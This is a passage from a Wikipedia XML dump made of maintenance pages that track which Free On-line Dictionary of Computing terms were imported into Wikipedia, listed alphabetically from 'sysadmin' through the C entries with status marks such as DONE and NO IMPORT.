sysadmin '''NO IMPORT''' - jargon&lt;br&gt;
sysape '''NO IMPORT''' - jargon&lt;br&gt;
Sysdeco Mimer AB '''NO IMPORT''' - insubstantial&lt;br&gt;
sys-frog '''NO IMPORT''' - jargon&lt;br&gt;
SYSKEY '''DONE'''&lt;br&gt;
SYSLISP '''NO IMPORT''' - insubstantial&lt;br&gt;
sysop '''NO IMPORT''' - jargon&lt;br&gt;
Sysplex '''NO IMPORT''' - out of date&lt;br&gt;
sysprog '''NO IMPORT''' - jargon&lt;br&gt;
system&lt;br&gt;
System/360 '''NO IMPORT''' - duplicate info&lt;br&gt;
System 5 '''NO IMPORT''' - insubstantial&lt;br&gt;
System 7.5 '''NO IMPORT''' - duplicate info (MacOS)&lt;br&gt;
System Account Manager&lt;br&gt;
system administration '''NO IMPORT''' - duplicate info&lt;br&gt;
system administrator '''NO IMPORT''' - duplicate info&lt;br&gt;
system analysis '''NO IMPORT''' - duplicate info&lt;br&gt;
system analyst '''NO IMPORT''' - duplicate info&lt;br&gt;
system board'''DONE''' - (motherboard)&lt;br&gt;
system call&lt;br&gt;
system catalog&lt;br&gt;
System F '''NO IMPORT''' - insubstantial&lt;br&gt;
system management '''NO IMPORT''' - insubstantial&lt;br&gt;
System Management Bus '''NO IMPORT''' - out of date&lt;br&gt;
System Management Mode '''NO IMPORT''' - out of date&lt;br&gt;
System Management Server&lt;br&gt;
system manager '''NO IMPORT''' - insubstantial&lt;br&gt;
system mangler '''NO IMPORT''' - jargon&lt;br&gt;
system operator '''NO IMPORT''' - jargon&lt;br&gt;
System Product Interpreter '''NO IMPORT''' - irrelevent&lt;br&gt;
system programming language '''DONE'''&lt;br&gt;
System R '''DONE''' - but needs expansion&lt;br&gt;
Systems Administrators Guild '''NO IMPORT''' - irrelevent&lt;br&gt;
systems analysis '''NO IMPORT''' - insubstantial&lt;br&gt;
Systems Analysis Definition '''NO IMPORT''' - insubstantial&lt;br&gt;
systems analyst '''NO IMPORT''' - insubstantial&lt;br&gt;
Systems Application Architecture '''NO IMPORT''' - irrelevent&lt;br&gt;
Systems Development Life Cycle '''DONE'''&lt;br&gt;
systems jock '''NO IMPORT''' - jargon&lt;br&gt;
Systems Network Architecture '''NO IMPORT''' - irrelevent&lt;br&gt;
system software '''NO IMPORT''' - duplicate info&lt;br&gt;
systems operator '''NO IMPORT''' - jargon&lt;br&gt;
systems programmer '''NO IMPORT''' - irrelevent&lt;br&gt;
systems programming '''NO IMPORT''' - duplicate info&lt;br&gt;
system unit '''NO IMPORT''' - duplicate info&lt;br&gt;
System V '''NO IMPORT''' - duplicate info&lt;br&gt;
System V Interface Definition '''NO IMPORT''' - jargon&lt;br&gt;
systolic array '''DONE'''&lt;br&gt;
SysVile '''NO IMPORT''' - jargon&lt;br&gt;
sz '''NO IMPORT''' - duplicate info&lt;br&gt;

:''See also :'' [[Free On-line Dictionary of Computing]]</text>
    </revision>
  </page>
  <page>
    <title>Wikipedia:Free On-line Dictionary of Computing/C - D</title>
    <id>11337</id>
    <revision>
      <id>24229067</id>
      <timestamp>2005-09-28T12:37:53Z</timestamp>
      <contributor>
        <username>Orderud</username>
        <id>151262</id>
      </contributor>
      <minor />
      <comment>updated c++ link</comment>
      <text xml:space="preserve">[[Free_On-line_Dictionary_of_Computing/symbols - B|symbols - B]] -- '''C - D''' -- [[Free_On-line_Dictionary_of_Computing/E - H|E - H]] -- [[Free_On-line_Dictionary_of_Computing/I - K|I - K]] -- [[Free_On-line_Dictionary_of_Computing/L - N|L - N]] -- [[Free_On-line_Dictionary_of_Computing/O - Q|O - Q]] -- [[Free_On-line_Dictionary_of_Computing/R - S|R - S]] -- [[Free_On-line_Dictionary_of_Computing/T - W|T - W]] -- [[Free_On-line_Dictionary_of_Computing/X - Z|X - Z]] -- [[Free_On-line_Dictionary_of_Computing/Status|FOLDOC Status Page]]

== C ==
[[C programming language|C]] '''NO IMPORT''' (already exists)&lt;br&gt;
(c)&lt;br&gt;
C*&lt;br&gt;
[[C plus plus|C++]] '''NO IMPORT''' (already exists)&lt;br&gt;
C+-&lt;br&gt;
C+@&lt;br&gt;
C-10&lt;br&gt;
C1 security&lt;br&gt;
c2man&lt;br&gt;
C2 security&lt;br&gt;
c386&lt;br&gt;
C5&lt;br&gt;
C64&lt;br&gt;
c68&lt;br&gt;
CA&lt;br&gt;
ca&lt;br&gt;
cable modem&lt;br&gt;
[[cache]]&lt;br&gt;
[[cache block]]&lt;br&gt;
[[cache coherency]] '''DONE'''&lt;br&gt;
[[cache conflict]] ''redirect to [[cache coherency]]''&lt;br&gt;
[[cache consistency]] ''redirect to [[cache coherency]]''&lt;br&gt;
[[cache hit]] ''redirect to [[cache]]''&lt;br&gt;
[[cache line]] '''DONE'''&lt;br&gt; 
[[cache memory]] ''redirect to [[cache]]''&lt;br&gt;
[[cache miss]] ''redirect to [[cache]]''&lt;br&gt;
[[Cache On A STick]] ''redirect to [[COAST]]''&lt;br&gt;
[[caching]] ''redirect to [[cache]]''&lt;br&gt;
CACI&lt;br&gt;
CACM&lt;br&gt;
CAD&lt;br&gt;
CAD/CAM&lt;br&gt;
CADD&lt;br&gt;
Cadence Design Systems&lt;br&gt;
CADET&lt;br&gt;
CADRE&lt;br&gt;
CAE&lt;br&gt;
CAF&lt;br&gt;
CAFE&lt;br&gt;
CAGE&lt;br&gt;
CAI&lt;br&gt;
Cairo&lt;br&gt;
CAIS&lt;br&gt;
CAIS-A&lt;br&gt;
CAiSE&lt;br&gt;
CAJOLE&lt;br&gt;
CAL&lt;br&gt;
Calc&lt;br&gt;
calculator&lt;br&gt;
Calculus of Communicating Systems&lt;br&gt;
Calendar API&lt;br&gt;
Calendar Application Programming Interface&lt;br&gt;
Caliban&lt;br&gt;
Calico&lt;br&gt;
California State University San Marcos&lt;br&gt;
callback&lt;br&gt;
call-by-name&lt;br&gt;
call-by-need&lt;br&gt;
call-by-reference&lt;br&gt;
call-by-value&lt;br&gt;
call-by-value-result&lt;br&gt;
call/cc&lt;br&gt;
callee&lt;br&gt;
Caller ID&lt;br&gt;
calling convention&lt;br&gt;
Call-Level Interface&lt;br&gt;
Call Unix&lt;br&gt;
Callware&lt;br&gt;
call-with-current-continuation&lt;br&gt;
CALS&lt;br&gt;
CAM&lt;br&gt;
CAM-6&lt;br&gt;
CAMAL&lt;br&gt;
Cambridge Lisp&lt;br&gt;
Camelot Library&lt;br&gt;
camera ready&lt;br&gt;
CAMIL&lt;br&gt;
CAML&lt;br&gt;
Caml Light&lt;br&gt;
CAM-PC&lt;br&gt;
Campus Wide Information System&lt;br&gt;
CAN&lt;br&gt;
can&lt;br&gt;
Canada&lt;br&gt;
Cancel&lt;br&gt;
Cancelbunny&lt;br&gt;
Cancelm00se&lt;br&gt;
Cancelmoose&lt;br&gt;
Cancelpoodle&lt;br&gt;
candidate key&lt;br&gt;
Candle&lt;br&gt;
candygrammar&lt;br&gt;
canonical&lt;br&gt;
Canonical Encoding Rules&lt;br&gt;
canonical name&lt;br&gt;
canonicity&lt;br&gt;
C (ANSI)&lt;br&gt;
can't happen&lt;br&gt;
Cantor&lt;br&gt;
CAP&lt;br&gt;
Capabilities Maturity Model&lt;br&gt;
capability&lt;br&gt;
Capability Maturity Model&lt;br&gt;
capacitor&lt;br&gt;
capacity&lt;br&gt;
CAPI&lt;br&gt;
Cap'n Crunch&lt;br&gt;
Captain Abstraction&lt;br&gt;
Captain Crunch&lt;br&gt;
card&lt;br&gt;
Cardbox for Windows&lt;br&gt;
Cardbus&lt;br&gt;
cardinality&lt;br&gt;
cardinal number&lt;br&gt;
CARDS&lt;br&gt;
card walloper&lt;br&gt;
Career Limiting Move&lt;br&gt;
caret&lt;br&gt;
careware&lt;br&gt; '''DONE'''
cargo cult programming&lt;br&gt;
Caribou CodeWorks&lt;br&gt;
Carl Friedrich Gauss&lt;br&gt;
Carnegie Mellon University&lt;br&gt;
carpal tunnel syndrome&lt;br&gt;
Carriage Return&lt;br&gt;
Carrierless Amplitude/Phase Modulation&lt;br&gt;
carrier scanner&lt;br&gt;
carrier signal&lt;br&gt;
Cartesian coordinates&lt;br&gt;
Cartesian product&lt;br&gt;
CAS&lt;br&gt;
CAS 8051 Assembler&lt;br&gt;
cascade&lt;br&gt;
Cascading Style Sheets&lt;br&gt;
CASE&lt;br&gt;
case&lt;br&gt;
case and paste&lt;br&gt;
case based reasoning&lt;br&gt;
CASE Data Interchange Format&lt;br&gt;
CASE framework&lt;br&gt;
case insensitive&lt;br&gt;
Case Integration Services&lt;br&gt;
CASE*Method&lt;br&gt;
case sensitive&lt;br&gt;
case sensitivity&lt;br&gt;
CASE SOAP III&lt;br&gt;
case statement&lt;br&gt;
CASE tools&lt;br&gt;
cashe&lt;br&gt;
CAST&lt;br&gt;
cast&lt;br&gt;
casters-up mode&lt;br&gt;
casting the runes&lt;br&gt;
CAT&lt;br&gt;
cat&lt;br&gt;
Cat 3&lt;br&gt;
Cat 5&lt;br&gt;
catatonic&lt;br&gt;
CATE&lt;br&gt;
Categorical Abstract Machine Language&lt;br&gt;
category&lt;br&gt;
Category 3&lt;br&gt;
Category 5&lt;br&gt;
CA-Telon&lt;br&gt;
cathode ray tube&lt;br&gt;
CATIA&lt;br&gt;
cationic cocktail&lt;br&gt;
C/ATLAS&lt;br&gt;
CATNIP&lt;br&gt;
CATO&lt;br&gt;
Cauchy sequence&lt;br&gt;
cause-effect graphing&lt;br&gt;
CAV&lt;br&gt;
Cayenne Software&lt;br&gt;
CAYLEY&lt;br&gt;
cb&lt;br&gt;
CBASIC&lt;br&gt;
C-BC&lt;br&gt;
CBD&lt;br&gt;
C Beautifier&lt;br&gt;
CBIR&lt;br&gt;
CBN&lt;br&gt;
CBR&lt;br&gt;
CBT&lt;br&gt;
CBV&lt;br&gt;
cbw&lt;br&gt;
cc&lt;br&gt;
CC++&lt;br&gt;
C/C++&lt;br&gt;
CCalc&lt;br&gt;
CCD&lt;br&gt;
CCIRN&lt;br&gt;
CCITT&lt;br&gt;
CCITT HIgh-Level Language&lt;br&gt;
CCL&lt;br&gt;
CCLU&lt;br&gt;
ccmail&lt;br&gt;
cc:mail&lt;br&gt;
CCP&lt;br&gt;
CCR&lt;br&gt;
CCS&lt;br&gt;
CCSP&lt;br&gt;
CCTA&lt;br&gt;
CD&lt;br&gt;
cd&lt;br&gt;
CDA&lt;br&gt;
CDC&lt;br&gt;
CDDI&lt;br&gt;
CDD/Plus&lt;br&gt;
CDE&lt;br&gt;
CDF ''redirect to'' [[Common Data Format]]&lt;br&gt;
CD-i&lt;br&gt;
CDIF&lt;br&gt;
CDL&lt;br&gt;
CDM&lt;br&gt;
CDMA&lt;br&gt;
CDP1802&lt;br&gt;
CDPD&lt;br&gt;
cdr&lt;br&gt;
CD-R&lt;br&gt;
CD-Read-Write&lt;br&gt;
CD-Rewritable&lt;br&gt;
CD-ROM&lt;br&gt;
CD-ROM drive&lt;br&gt;
CD-RW&lt;br&gt;
CDS&lt;br&gt;
cd tilde&lt;br&gt;
CE&lt;br&gt;
Cecil&lt;br&gt;
Cedar&lt;br&gt;
CEEMAC+&lt;br&gt;
CEI-PACT&lt;br&gt;
Celeron&lt;br&gt;
CELIP&lt;br&gt;
cell&lt;br&gt;
Cellang&lt;br&gt;
CELLAS&lt;br&gt;
Cello&lt;br&gt;
CELLSIM&lt;br&gt;
Cellular&lt;br&gt;
cellular automata&lt;br&gt;
cellular automaton&lt;br&gt;
Cellular Digital Packet Data&lt;br&gt;
cellular multiprocessing&lt;br&gt;
Cellular Neural Network&lt;br&gt;
CELP&lt;br&gt;
CEN&lt;br&gt;
CENELEC&lt;br&gt;
Centi-Call Second&lt;br&gt;
central office&lt;br&gt;
Central office exchange service&lt;br&gt;
central processing unit&lt;br&gt;
Centrex&lt;br&gt;
Centronics&lt;br&gt;
Centrum voor Wiskunde en Informatica&lt;br&gt;
century meltdown&lt;br&gt;
cepstra&lt;br&gt;
cepstrum&lt;br&gt;
CEPT&lt;br&gt;
CER&lt;br&gt;
Ceramic Pin Grid Array&lt;br&gt;
Ceres workstation Oberon System&lt;br&gt;
Cerf, Vint&lt;br&gt;
CERN&lt;br&gt;
CERNLIB&lt;br&gt;
CERT&lt;br&gt;
Certificate Authority&lt;br&gt;
CESP&lt;br&gt;
CESSL&lt;br&gt;
cextract&lt;br&gt;
cf&lt;br&gt;
CFD&lt;br&gt;
CFML&lt;br&gt;
cforth&lt;br&gt;
cfortran.h&lt;br&gt;
CFP&lt;br&gt;
CFP92&lt;br&gt;
cg&lt;br&gt;
CGA&lt;br&gt;
CGGL&lt;br&gt;
CGI&lt;br&gt;
cgi-bin&lt;br&gt;
CGI Joe&lt;br&gt;
CGI program&lt;br&gt;
CGI script&lt;br&gt;
CGM&lt;br&gt;
CGOL&lt;br&gt;
cgram&lt;br&gt;
ch&lt;br&gt;
chad&lt;br&gt;
chad box&lt;br&gt;
Chadless keypunch&lt;br&gt;
chain&lt;br&gt;
Challenge-Handshake Authentication Protocol&lt;br&gt;
Chalmers University of Technology&lt;br&gt;
change management&lt;br&gt;
channel&lt;br&gt;
channel hopping&lt;br&gt;
channel op&lt;br&gt;
channel service unit&lt;br&gt;
channel service unit/data service unit&lt;br&gt;
chan op&lt;br&gt;
chaos&lt;br&gt;
CHAP&lt;br&gt;
char&lt;br&gt;
character&lt;br&gt;
character encoding&lt;br&gt;
character encoding scheme&lt;br&gt;
character graphics&lt;br&gt;
characteristic function&lt;br&gt;
character repertoire&lt;br&gt;
character set&lt;br&gt;
character set identifier&lt;br&gt;
Charge-Coupled Device&lt;br&gt;
CHARITY&lt;br&gt;
charityware&lt;br&gt;
Charles Babbage&lt;br&gt;
Charles Simonyi&lt;br&gt;
CHARM&lt;br&gt;
CHARM++&lt;br&gt;
Charme&lt;br&gt;
CHARYBDIS&lt;br&gt;
chase pointers&lt;br&gt;
CHASM&lt;br&gt;
chat&lt;br&gt;
chatbot&lt;br&gt;
chat room&lt;br&gt;
chatterbot&lt;br&gt;
cheapernet&lt;br&gt;
checkdigit&lt;br&gt;
Checkout Test language&lt;br&gt;
checkpoint&lt;br&gt;
checksum&lt;br&gt;
chemist&lt;br&gt;
Chen&lt;br&gt;
CHEOPS&lt;br&gt;
Chernobyl packet&lt;br&gt;
chess&lt;br&gt;
CHI&lt;br&gt;
Chicago&lt;br&gt;
chicken head&lt;br&gt;
[[chiclet keyboard|chicklet keyboard]] '''DONE'''&lt;br&gt;
[[chiclet keyboard]] '''DONE'''&lt;br&gt;
child&lt;br&gt;
[[child process]] '''DONE'''&lt;br&gt;
child record&lt;br&gt;
child version&lt;br&gt;
CHILI&lt;br&gt;
CHILL&lt;br&gt;
Chimera&lt;br&gt;
chine nual&lt;br&gt;
Chinese Army technique&lt;br&gt;
CHIP&lt;br&gt;
chip&lt;br&gt;
CHIP-48&lt;br&gt;
CHIP-8&lt;br&gt;
chip box&lt;br&gt;
Chip Jewelry&lt;br&gt;
Chip Scale Packaging&lt;br&gt;
chip set&lt;br&gt;
Chips &amp;amp&lt;br&gt; Technologies&lt;br&gt;
CHISEL&lt;br&gt;
chmod&lt;br&gt;
CHOCS&lt;br&gt;
choke&lt;br&gt;
chomp&lt;br&gt;
CHOP&lt;br&gt;
Chop&lt;br&gt;
Chorus&lt;br&gt;
Christmas tree&lt;br&gt;
Christmas tree packet&lt;br&gt;
Christopher Strachey&lt;br&gt;
chromatic number&lt;br&gt;
chrome&lt;br&gt;
chroot&lt;br&gt;
CHRP&lt;br&gt;
chug&lt;br&gt;
chunker&lt;br&gt;
Church, Alonzo&lt;br&gt;
Church integer&lt;br&gt;
Church of the SubGenius&lt;br&gt;
Church-Rosser Theorem&lt;br&gt;
ci&lt;br&gt;
CI$&lt;br&gt;
CICERO&lt;br&gt;
CICS&lt;br&gt;
CID&lt;br&gt;
CIDR&lt;br&gt;
CIEL&lt;br&gt;
CIF&lt;br&gt;
CIFS&lt;br&gt;
Cigale&lt;br&gt;
CIL&lt;br&gt;
CIM&lt;br&gt;
CIMS PL/I&lt;br&gt;
Cinderella Book&lt;br&gt;
CINT92&lt;br&gt;
C-Interp&lt;br&gt;
ciphertext&lt;br&gt;
CIP-L&lt;br&gt;
CIR&lt;br&gt;
CIRCAL&lt;br&gt;
circuit&lt;br&gt;
CIRcuit CALculus&lt;br&gt;
circuit switched&lt;br&gt;
circuit switching&lt;br&gt;
circular buffer&lt;br&gt;
Cirrus Logic&lt;br&gt;
CIS&lt;br&gt;
CISC&lt;br&gt;
Cisco Systems, Inc.&lt;br&gt;
CISI&lt;br&gt;
CITRAN&lt;br&gt;
CityScape&lt;br&gt;
CIX&lt;br&gt; '''NO IMPORT''' written in 1994
CJK&lt;br&gt;
CJKV&lt;br&gt;
ck&lt;br&gt;
CL&lt;br&gt;
cl&lt;br&gt;
CLAM&lt;br&gt;
C Language Integrated Production System&lt;br&gt;
Clarify&lt;br&gt;
Clarion&lt;br&gt;
Claris&lt;br&gt;
CLASP&lt;br&gt;
class&lt;br&gt;
class hierarchy&lt;br&gt;
classic&lt;br&gt;
Classic-Ada&lt;br&gt;
classical logic&lt;br&gt;
Classic C&lt;br&gt;
Classless Inter-Domain Routing&lt;br&gt;
class library&lt;br&gt;
[[class method]]&lt;br&gt;
Class Oriented Ring Associated Language&lt;br&gt;
Class-Relation Method&lt;br&gt;
[[Clean programming language|Clean]] '''NO IMPORT''' (already exists)&lt;br&gt;
clean&lt;br&gt;
Cleanroom&lt;br&gt;
CLEAR&lt;br&gt;
clear box testing&lt;br&gt;
CLEO&lt;br&gt;
CLHEP&lt;br&gt;
CLI&lt;br&gt;
CLiCC&lt;br&gt;
click&lt;br&gt;
client&lt;br&gt;
client-server&lt;br&gt;
client/server&lt;br&gt;
client-server model&lt;br&gt;
Client To Client Protocol&lt;br&gt;
C++Linda&lt;br&gt;
C-Linda&lt;br&gt;
CLIP&lt;br&gt;
CLiP&lt;br&gt;
clipboard&lt;br&gt;
Clipper&lt;br&gt;
CLIPS&lt;br&gt;
clique&lt;br&gt;
CLISP&lt;br&gt;
Clive Sinclair&lt;br&gt;
CLIX&lt;br&gt;
CLM&lt;br&gt;
CLNP&lt;br&gt;
clobber&lt;br&gt;
clock&lt;br&gt;
[[clock rate]] - '''DONE'''&lt;br&gt;
clock speed&lt;br&gt;
clone&lt;br&gt;
clone-and-hack coding&lt;br&gt;
clonebot&lt;br&gt;
CLOS&lt;br&gt;
closed-box testing&lt;br&gt;
closed set&lt;br&gt;
closed term&lt;br&gt;
Clos network&lt;br&gt;
closure&lt;br&gt;
closure conversion&lt;br&gt;
Clover&lt;br&gt;
clover key&lt;br&gt;
CLP&lt;br&gt;
CLP*&lt;br&gt;
CLP(R)&lt;br&gt;
CLP(sigma*)&lt;br&gt;
CLR&lt;br&gt;
CLtL1&lt;br&gt;
CLtL2&lt;br&gt;
CLU&lt;br&gt;
clu2c&lt;br&gt;
cluster&lt;br&gt;
Cluster 86&lt;br&gt;
clustergeeking&lt;br&gt;
clustering&lt;br&gt;
CLUT&lt;br&gt;
CLV&lt;br&gt;
CLX&lt;br&gt;
CM&lt;br&gt;
cm&lt;br&gt;
CMA&lt;br&gt;
CMAY&lt;br&gt;
CMC&lt;br&gt;
CMIP&lt;br&gt;
CMIS&lt;br&gt;
CML&lt;br&gt;
CMM&lt;br&gt;
CMOS&lt;br&gt;
CMP&lt;br&gt;
CMS&lt;br&gt;
CMS-2&lt;br&gt;
CMU&lt;br&gt;
CMU CL&lt;br&gt;
CMU Common Lisp&lt;br&gt;
CMVC&lt;br&gt;
CMYK&lt;br&gt;
CMZ&lt;br&gt;
cn&lt;br&gt;
CNAME&lt;br&gt;
CNC&lt;br&gt;
CNET&lt;br&gt;
CNI&lt;br&gt;
CNN&lt;br&gt;
CNRI&lt;br&gt;
co&lt;br&gt;
CO2&lt;br&gt;
Coad/Yourdon&lt;br&gt;
COALA&lt;br&gt;
coalesced sum&lt;br&gt;
Coalition for Networked Information&lt;br&gt;
coarse grain&lt;br&gt;
COAST&lt;br&gt;
coax&lt;br&gt;
coaxial cable&lt;br&gt;
COBOL&lt;br&gt;
COBOL-1961 Extended&lt;br&gt;
COBOL fingers&lt;br&gt;
COBRA&lt;br&gt;
cobweb site&lt;br&gt;
Cocktail&lt;br&gt;
cocktail shaker sort&lt;br&gt;
CoCo&lt;br&gt;
Cocol&lt;br&gt;
Coco Language&lt;br&gt;
Cocol/R&lt;br&gt;
COCOMO&lt;br&gt;
Coco/R&lt;br&gt;
CODASYL&lt;br&gt;
Codd's First Normal Form&lt;br&gt;
Codd's reduction algorithm&lt;br&gt;
code&lt;br&gt;
Code 2.0&lt;br&gt;
codebook&lt;br&gt;
CODEC&lt;br&gt;
CodeCenter&lt;br&gt;
coded character set&lt;br&gt;
Code Division Multiple Access -- '''DONE'''&lt;br&gt;
code division multiplexing&lt;br&gt;
code grinder&lt;br&gt;
code management&lt;br&gt;
code police&lt;br&gt;
code position&lt;br&gt;
coder/decoder&lt;br&gt;
codes&lt;br&gt;
C-odeScript&lt;br&gt;
code segment&lt;br&gt;
code walk&lt;br&gt;
codewalker&lt;br&gt;
CODIL&lt;br&gt;
codomain&lt;br&gt;
coefficient of X&lt;br&gt;
coercion&lt;br&gt;
COFF&lt;br&gt;
COGENT&lt;br&gt;
Cogent Prolog&lt;br&gt;
Cognitech&lt;br&gt;
cognitive architecture&lt;br&gt;
COGO&lt;br&gt;
Coherent Parallel C&lt;br&gt;
COHESION&lt;br&gt;
COIF&lt;br&gt;
cokebottle&lt;br&gt;
COLASL&lt;br&gt;
COLD&lt;br&gt;
cold boot&lt;br&gt;
ColdFusion&lt;br&gt;
ColdFusion Markup Language&lt;br&gt;
COLD-K&lt;br&gt;
COLINGO&lt;br&gt;
collision&lt;br&gt;
collision detection&lt;br&gt;
collocation&lt;br&gt;
co-location&lt;br&gt;
colon&lt;br&gt;
color&lt;br&gt;
Color Graphics Adapter&lt;br&gt;
color model&lt;br&gt;
Colossus&lt;br&gt;
colour&lt;br&gt;
colour depth&lt;br&gt;
colour look-up table&lt;br&gt;
colour model&lt;br&gt;
colour palette&lt;br&gt;
Columbia AppleTalk Package&lt;br&gt;
Column Address Strobe&lt;br&gt;
COM&lt;br&gt;
com&lt;br&gt;
COMAL&lt;br&gt;
combination&lt;br&gt;
combinator&lt;br&gt;
combinatory logic&lt;br&gt;
Comdex&lt;br&gt;
COME FROM&lt;br&gt;
COMIS&lt;br&gt;
COMIT&lt;br&gt;
Comite Europeen des Postes et Telecommunications&lt;br&gt;
COMIT II&lt;br&gt;
Comma&lt;br&gt;
comma&lt;br&gt;
command&lt;br&gt;
command interpreter&lt;br&gt;
command key&lt;br&gt;
command line interface&lt;br&gt;
command line interpreter&lt;br&gt;
command line option&lt;br&gt;
comma separated values&lt;br&gt;
COMMEN&lt;br&gt;
comment&lt;br&gt;
comment out&lt;br&gt;
commercial at&lt;br&gt;
Commercial Internet eXchange&lt;br&gt;
Commercial Translator&lt;br&gt;
comm mode&lt;br&gt;
Commodore 1010&lt;br&gt;
Commodore 128&lt;br&gt;
Commodore 1541 -- '''DONE'''&lt;br&gt;
Commodore 1570&lt;br&gt;
Commodore 1571&lt;br&gt;
Commodore 1581 -- '''DONE'''&lt;br&gt;
Commodore 64&lt;br&gt;
Commodore 64DX&lt;br&gt;
Commodore 65&lt;br&gt;
[[Commodore International|Commodore Business Machines]] '''DONE''' (Commodore International)&lt;br&gt;
Commodore SX64&lt;br&gt;
COMmon Algorithmic Language&lt;br&gt;
Common Applications Environment&lt;br&gt;
Common Applications Service Element&lt;br&gt;
Common Architecture for Next Generation Internet Protocol&lt;br&gt;
COmmon Business Oriented Language&lt;br&gt;
common carrier&lt;br&gt;
Common Command Set&lt;br&gt;
Common Communication Services&lt;br&gt;
Common Desktop Environment&lt;br&gt;
Common ESP&lt;br&gt;
Common Gateway Interface&lt;br&gt;
Common Hardware Reference Platform&lt;br&gt;
Common Intermediate Format&lt;br&gt;
Common Intermediate Language&lt;br&gt;
Common Internet File System&lt;br&gt;
Common-ISDN-API&lt;br&gt;
Common ISDN Application Programming Interface&lt;br&gt;
Common Lisp&lt;br&gt;
Common LISP in Parallel&lt;br&gt;
Common LISP Object System&lt;br&gt;
CommonLoops&lt;br&gt;
Common Management Information Protocol&lt;br&gt;
Common Management Information Services&lt;br&gt;
Common Object File Format&lt;br&gt;
Common Object Model&lt;br&gt;
Common Object Request Broker Architecture&lt;br&gt;
Common Objects&lt;br&gt;
Common Program Interface&lt;br&gt;
Common User Access&lt;br&gt;
Commonwealth Hackish&lt;br&gt;
Communicating Functional Processes&lt;br&gt;
Communicating Sequential Processes&lt;br&gt;
Communications Decency Act&lt;br&gt;
Communications of the ACM&lt;br&gt;
communications port&lt;br&gt;
Communications Server&lt;br&gt;
communications software&lt;br&gt;
communication system&lt;br&gt;
COMNET&lt;br&gt;
compact&lt;br&gt;
Compact COBOL&lt;br&gt;
Compact Disc&lt;br&gt;
Compact Disc interactive&lt;br&gt;
Compact Disc Read-Only Memory&lt;br&gt;
Compact Disc Read-Write&lt;br&gt;
Compact Disc Recordable&lt;br&gt;
Compact Disc Rewritable&lt;br&gt;
compaction&lt;br&gt;
compactness preserving&lt;br&gt;
Compaq Computer Corporation&lt;br&gt;
Compas Pascal&lt;br&gt;
COMPASS&lt;br&gt;
compatibility&lt;br&gt;
compatible&lt;br&gt;
Compatible Timesharing System&lt;br&gt;
Compel&lt;br&gt;
Competitive Access Provider&lt;br&gt;
compiler&lt;br&gt;
compiler compiler&lt;br&gt;
Compiler-Compiler&lt;br&gt;
compiler-compiler&lt;br&gt;
compiler jock&lt;br&gt;
Compiler Language for Information Processing&lt;br&gt;
Compiler Target Language&lt;br&gt;
COMPL&lt;br&gt;
complement&lt;br&gt;
Complementary Metal Oxide Semiconductor&lt;br&gt;
complementary nondeterministic polynomial&lt;br&gt;
complete&lt;br&gt;
complete graph&lt;br&gt;
complete inference system&lt;br&gt;
complete lattice&lt;br&gt;
complete metric space&lt;br&gt;
completeness&lt;br&gt;
complete partial ordering&lt;br&gt;
complete theory&lt;br&gt;
complete unification&lt;br&gt;
Complex Instruction Set Computer&lt;br&gt;
complexity&lt;br&gt;
complexity analysis&lt;br&gt;
complexity class&lt;br&gt;
complexity measure&lt;br&gt;
complex number&lt;br&gt;
complex programmable logic device&lt;br&gt;
component&lt;br&gt;
component architecture&lt;br&gt;
component based development&lt;br&gt;
Component Integration Laboratories&lt;br&gt;
Component Object Model&lt;br&gt;
com port&lt;br&gt;
composite&lt;br&gt;
composition&lt;br&gt;
Compositional C++&lt;br&gt;
Compound Document Architecture&lt;br&gt;
compound key&lt;br&gt;
COMPREHENSIVE&lt;br&gt;
Comprehensive Perl Archive Network&lt;br&gt;
Comprehensive TeX Archive Network&lt;br&gt;
compress&lt;br&gt;
Compressed SLIP&lt;br&gt;
compressed video&lt;br&gt;
compression&lt;br&gt;
COMPROSL&lt;br&gt;
Compu$erve&lt;br&gt;
Compulink Information eXchange&lt;br&gt;
CompuServe Corporation&lt;br&gt;
CompuServe Information Service&lt;br&gt;
Compusult Ltd.&lt;br&gt;
computability theory&lt;br&gt;
computable&lt;br&gt;
Computational Adequacy Theorem&lt;br&gt;
computational complexity&lt;br&gt;
computational geometry&lt;br&gt;
computational learning&lt;br&gt;
COMpute ParallEL&lt;br&gt;
Computer&lt;br&gt;
computer&lt;br&gt;
Computer Aided Design&lt;br&gt;
Computer Aided Engineering&lt;br&gt;
Computer-Aided Instruction&lt;br&gt;
Computer-Aided Learning&lt;br&gt;
Computer Aided Software Engineering&lt;br&gt;
Computer-Aided Software Testing&lt;br&gt;
Computer Animation Movie Language&lt;br&gt;
Computer-Assisted Learning&lt;br&gt;
Computer-Assisted Software Engineering&lt;br&gt;
Computer Associates&lt;br&gt;
Computer-Based Training&lt;br&gt;
Computer Compiler&lt;br&gt;
computer confetti&lt;br&gt;
Computer Conservation Society&lt;br&gt;
computer crime&lt;br&gt;
Computer Design Language&lt;br&gt;
computer dictionary&lt;br&gt;
Computer Emergency Response Team&lt;br&gt;
computer ethics&lt;br&gt;
computer geek&lt;br&gt;
computer-generated imagery&lt;br&gt;
Computer Generation Incorporated&lt;br&gt;
Computer Graphics Metafile&lt;br&gt;
computer language&lt;br&gt;
computer law&lt;br&gt;
computer literacy&lt;br&gt;
Computer Mediated Communication&lt;br&gt;
computer nerd&lt;br&gt;
computer network&lt;br&gt;
Computer Output to Laser Disk&lt;br&gt;
Computer Professionals for Social Responsibility&lt;br&gt;
computer program&lt;br&gt;
Computer + Science NETwork&lt;br&gt;
computer security&lt;br&gt;
computer sex&lt;br&gt;
Computer Software Configuration Item&lt;br&gt;
Computer Supported Cooperative Work&lt;br&gt;
Computer Telephone Integration&lt;br&gt;
Computer Telephony Integration&lt;br&gt;
computer virus&lt;br&gt;
computer vision&lt;br&gt;
compute server&lt;br&gt;
computing&lt;br&gt;
Computing Devices Canada Ltd.&lt;br&gt;
computing dictionary&lt;br&gt;
computron&lt;br&gt;
Compuware Corporation&lt;br&gt;
COMSL&lt;br&gt;
COMTRAN&lt;br&gt;
con&lt;br&gt;
ConC&lt;br&gt;
concatenate&lt;br&gt;
concatenated key&lt;br&gt;
concentrator&lt;br&gt;
conceptualisation&lt;br&gt;
Concert/C&lt;br&gt;
ConCoord&lt;br&gt;
concrete class&lt;br&gt;
Concrete Data Structure&lt;br&gt;
concrete syntax&lt;br&gt;
CONCUR&lt;br&gt;
concurrency&lt;br&gt;
Concurrent C&lt;br&gt;
Concurrent C++&lt;br&gt;
[[Concurrent Clean]] '''NO IMPORT''' (already exists)&lt;br&gt;
Concurrent CLU&lt;br&gt;
Concurrent Euclid&lt;br&gt;
Concurrent LISP&lt;br&gt;
